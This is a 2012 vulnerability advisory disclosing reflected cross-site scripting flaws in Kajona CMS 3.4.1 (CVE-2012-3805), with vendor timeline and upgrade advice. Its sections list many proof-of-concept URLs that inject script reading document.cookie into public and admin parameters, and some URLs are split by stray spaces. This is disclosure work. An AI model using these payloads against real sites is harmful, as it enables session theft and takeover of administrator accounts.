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Multiple Cross-Site Scripting (XSS) in Kajona

Advisory ID:HTB23097
Product:Kajona
Vendor: Kajona
Vulnerable Versions:3.4.1 and probably prior
Tested Version:3.4.1
Advisory Publication:June 20, 2012 [without technical details]
Vendor Notification:June 20, 2012
Vendor Fix:June 26, 2012
Public Disclosure:July 11, 2012
Latest Update:June 26, 2012
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2012-3805
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab has discovered multiple Cross-Site Scripting (XSS) vulnerabilities in Kajona.

1) Multiple Cross-Site Scripting (XSS) in Kajona: CVE-2012-3805
1.1 Input passed via the "absender_name", "absender_email" and "absender_nachricht" GET parameters to /index.php (when "page" is set to "contact") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.
The following PoC (Proof of Concept) demonstrate the vulnerabilities:
http://kajona/index.php?page=contact&absender_name=%22%3E%3Cscript%3Ealert%2 8document.cookie%29;%3C/script%3E
http://kajona/index.php?page=contact&abse nder_email=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http: //kajona/index.php?page=contact&absender_nachricht=%3C/textarea%3E%3Cscript% 3Ealert%28document.cookie%29;%3C/script%3E


1.2 Input passed via the "comment_name", "comment_subject" and "comment_message" GET parameters to /index.php (when "page" is set to "postacomment") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.
The following PoC demonstrate the vulnerabilities:
http://kajona/index.php?page=postacomment&comment_name=%22%3E%3Cscript%3Eale rt%28document.cookie%29;%3C/script%3E
http://kajona/index.php?page=postacom ment&comment_subject=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script %3E
http://kajona/index.php?page=postacomment&comment_message=%3C/textarea% 3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


1.3 Input passed via the "module" GET parameter to /index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.
The following PoC demonstrates the vulnerability:
http://kajona/index.php?module=%3Cscript%3Ealert%28document.cookie%29;%3C/sc ript%3E

1.4 Input passed via the "action" GET parameter to /index.php (when "module" is set to "login" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.
The following PoC demonstrates the vulnerability:
http://kajona/index.php?module=login&admin=1&action=%3Cscript%3Ealert%28docu ment.cookie%29;%3C/script%3E

1.5 Input passed via the "pv" and "pe" GET parameters to /index.php (when "module" is set to "user", "action" is set to "list" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC demonstrate the vulnerabilities:
http://kajona/index.php?admin=1&module=user&action=list&pv=%22%3E%3Cscript%3 Ealert%28document.cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&m odule=user&action=list&pe=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E


1.6 Input passed via the "user_username", "user_email", "user_forename", "user_name", "user_street", "user_postal", "user_city", "user_tel" and "user_mobile" GET parameters to /index.php (when "module" is set to "user", "action" is set to "newUser" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC demonstrate the vulnerabilities:
http://kajona/index.php?admin=1&module=user&action=newUser&user_username=%22 %3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://kajona/index .php?admin=1&module=user&action=newUser&user_email=%22%3E%3Cscript%3Ealert%2 8document.cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&module=us er&action=newUser&user_forename=%22%3E%3Cscript%3Ealert%28document.cookie%29 ;%3C/script%3E
http://kajona/index.php?admin=1&module=user&action=newUser&u ser_name=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http:// kajona/index.php?admin=1&module=user&action=newUser&user_street=%22%3E%3Cscr ipt%3Ealert%28document.cookie%29;%3C/script%3E
http://kajona/index.php?admi n=1&module=user&action=newUser&user_postal=%22%3E%3Cscript%3Ealert%28documen t.cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&module=user&actio n=newUser&user_city=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script% 3E
http://kajona/index.php?admin=1&module=user&action=newUser&user_tel=%22% 3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://kajona/index. php?admin=1&module=user&action=newUser&user_mobile=%22%3E%3Cscript%3Ealert%2 8document.cookie%29;%3C/script%3E


1.7 Input passed via the "group_name" and "group_desc" GET parameters to /index.php (when "module" is set to "user", "action" is set to "groupNew" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC demonstrate the vulnerabilities:
http://kajona/index.php?admin=1&module=user&action=groupNew&group_name=%22%3 E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://kajona/index.p hp?admin=1&module=user&action=groupNew&group_desc=%3C/textarea%3E%3Cscript%3 Ealert%28document.cookie%29;%3C/script%3E


1.8 Input passed via the "name", "browsername", "seostring", "keywords" and "folder_id" GET parameters to /index.php (when "module" is set to "pages", "action" is set to "newPage" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC demonstrate the vulnerabilities:
http://kajona/index.php?admin=1&module=pages&action=newPage&name=%22%3E%3Csc ript%3Ealert%28document.cookie%29;%3C/script%3E
http://kajona/index.php?adm in=1&module=pages&action=newPage&browsername=%22%3E%3Cscript%3Ealert%28docum ent.cookie%29;%3C/script%3E
http://kajona/index.php?admin=1&module=pages&ac tion=newPage&seostring=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/scri pt%3E
http://kajona/index.php?admin=1&module=pages&action=newPage&keywords= %3C/textarea%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http:// kajona/index.php?admin=1&module=pages&action=newPage&folder_id=%22%3E%3Cscri pt%3Ealert%28document.cookie%29;%3C/script%3E


1.9 Input passed via the "element_name" and "element_cachetime" GET parameters to /index.php (when "module" is set to "pages", "action" is set to "newElement" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC demonstrate the vulnerabilities:
http://kajona/index.php?admin=1&module=pages&action=newElement&element_name= %22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://kajona/in dex.php?admin=1&module=pages&action=newElement&element_cachetime=%22%3E%3Csc ript%3Ealert%28document.cookie%29;%3C/script%3E


1.10 Input passed via the "aspect_name" GET parameter to /index.php (when "module" is set to "system", "action" is set to "newAspect" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC demonstrates the vulnerability:
http://kajona/index.php?admin=1&module=system&action=newAspect&aspect_name=% 22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.11 Input passed via the "filemanager_name", "filemanager_path", "filemanager_upload_filter" and "filemanager_view_filter" GET parameters to /index.php (when "module" is set to "filemanager", "action" is set to "newRepo" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC demonstrate the vulnerabilities:
http://kajona/index.php?admin=1&module=filemanager&action=newRepo&filemanage r_name=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://ka jona/index.php?admin=1&module=filemanager&action=newRepo&filemanager_path=%2 2%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://kajona/inde x.php?admin=1&module=filemanager&action=newRepo&filemanager_upload_filter=%2 2%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://kajona/inde x.php?admin=1&module=filemanager&action=newRepo&filemanager_view_filter=%22% 3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


1.12 Input passed via the "archive_title" and "archive_path" GET parameters to /index.php (when "module" is set to "downloads", "action" is set to "newArchive" and "admin" is set to "1") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC demonstrate the vulnerabilities:
http://kajona/index.php?admin=1&module=downloads&action=newArchive&archive_t itle=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://kajo na/index.php?admin=1&module=downloads&action=newArchive&archive_path=%22%3E% 3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

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Solution:
Upgrade to Kajona V3.4.2

More Information:
http://www.kajona.de/newsdetails.Kajona-V3-4-2-available.newsDetail.616decb4fe9b7a5929fb.en.html
http://www.kajona.de/changelog_34x.de.html


References:
[1] High-Tech Bridge Advisory HTB23097 - https://www.immuniweb.com/advisory/HTB23097 - Multiple Cross-Site Scripting (XSS) in Kajona.
[2] Kajona - http://www.kajona.de/ - Open Source Content Management Framework.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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